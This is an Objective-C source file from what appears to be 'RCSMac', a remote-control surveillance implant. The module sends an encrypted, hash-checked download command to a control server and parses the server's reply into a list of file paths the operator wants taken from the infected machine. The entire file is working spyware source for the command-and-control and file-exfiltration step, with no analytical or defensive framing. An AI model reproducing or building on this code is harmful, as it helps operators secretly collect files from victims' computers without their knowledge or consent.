core/Modules/DownloadNetworkOperation.m
/*
* RCSMac - Download File Network Operation
*
*
* Created on 12/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "DownloadNetworkOperation.h"
#import "RCSICommon.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "NSMutableData+AES128.h"
#import "NSMutableData+SHA1.h"
#import "NSData+Pascal.h"
#import "RCSITaskManager.h"
//#import "RCSMLogger.h"
//#import "RCSMDebug.h"
@implementation DownloadNetworkOperation
@synthesize mDownloads;
- (id)initWithTransport: (RESTTransport *)aTransport
{
if (self = [super init])
{
mTransport = aTransport;
mDownloads = [[NSMutableArray alloc] init];
#ifdef DEBUG_DOWN_NOP
infoLog(@"mTransport: %@", mTransport);
#endif
return self;
}
return nil;
}
- (void)dealloc
{
[mDownloads release];
[super dealloc];
}
- (BOOL)perform
{
#ifdef DEBUG_DOWN_NOP
infoLog(@"");
#endif
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
int32_t i = 0;
uint32_t command = PROTO_DOWNLOAD;
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
NSData *commandSha = [commandData sha1Hash];
[commandData appendData: commandSha];
#ifdef DEBUG_DOWN_NOP
infoLog(@"commandData: %@", commandData);
#endif
[commandData encryptWithKey: gSessionKey];
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
NSMutableData *replyDecrypted = nil;
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
if (replyData == nil)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"empty reply from server");
#endif
[commandData release];
[outerPool release];
return NO;
}
replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
[replyDecrypted decryptWithKey: gSessionKey];
#ifdef DEBUG_DOWN_NOP
infoLog(@"replyDecrypted: %@", replyDecrypted);
#endif
[replyDecrypted getBytes: &command
length: sizeof(uint32_t)];
// remove padding
[replyDecrypted removePadding];
//
// check integrity
//
NSData *shaRemote;
NSData *shaLocal;
@try
{
shaRemote = [replyDecrypted subdataWithRange:
NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
CC_SHA1_DIGEST_LENGTH)];
shaLocal = [replyDecrypted subdataWithRange:
NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
}
@catch (NSException *e)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"exception on sha makerange (%@)", [e reason]);
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
shaLocal = [shaLocal sha1Hash];
#ifdef DEBUG_DOWN_NOP
infoLog(@"shaRemote: %@", shaRemote);
infoLog(@"shaLocal : %@", shaLocal);
#endif
if ([shaRemote isEqualToData: shaLocal] == NO)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"sha mismatch");
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
if (command != PROTO_OK)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"No download request available (command %d)", command);
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
uint32_t numOfStrings = 0;
@try
{
[replyDecrypted getBytes: &numOfStrings
range: NSMakeRange(8, sizeof(uint32_t))];
}
@catch (NSException *e)
{
#ifdef DEBUG_AUTH_NOP
errorLog(@"exception on numOfStrings makerange (%@)", [e reason]);
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
#ifdef DEBUG_DOWN_NOP
infoLog(@"downloads available: %d", numOfStrings);
#endif
if (numOfStrings == 0)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"numOfStrings is zero!");
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
uint32_t stringDataSize = 0;
NSMutableData *strings;
@try
{
[replyDecrypted getBytes: &stringDataSize
range: NSMakeRange(4, sizeof(uint32_t))];
strings = [NSMutableData dataWithData:
[replyDecrypted subdataWithRange: NSMakeRange(12, stringDataSize)]];
}
@catch (NSException *e)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"exception on stringDataSize makerange (%@)", [e reason]);
#endif
return NO;
}
uint32_t len = 0;
//
// Unpascalize n NULL terminated UTF16LE strings
//
NSData *stringData;
for (i = 0; i < numOfStrings; i++)
{
[strings getBytes: &len length: sizeof(uint32_t)];
@try
{
stringData = [strings subdataWithRange: NSMakeRange(0, len + 4)];
}
@catch (NSException *e)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"exception on stringData makerange (%@)", [e reason]);
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
NSString *string = [stringData unpascalizeToStringWithEncoding: NSUTF16LittleEndianStringEncoding];
if (string == nil)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"string is empty, error on unpascalize");
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
#ifdef DEBUG_DOWN_NOP
infoLog(@"string: %@", string);
#endif
[mDownloads addObject: string];
@try
{
[strings replaceBytesInRange: NSMakeRange(0, len + 4)
withBytes: NULL
length: 0];
}
@catch (NSException *e)
{
#ifdef DEBUG_DOWN_NOP
errorLog(@"exception on replaceBytes makerange (%@)", [e reason]);
#endif
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
}
[replyDecrypted release];
[commandData release];
[outerPool release];
return YES;
}
@end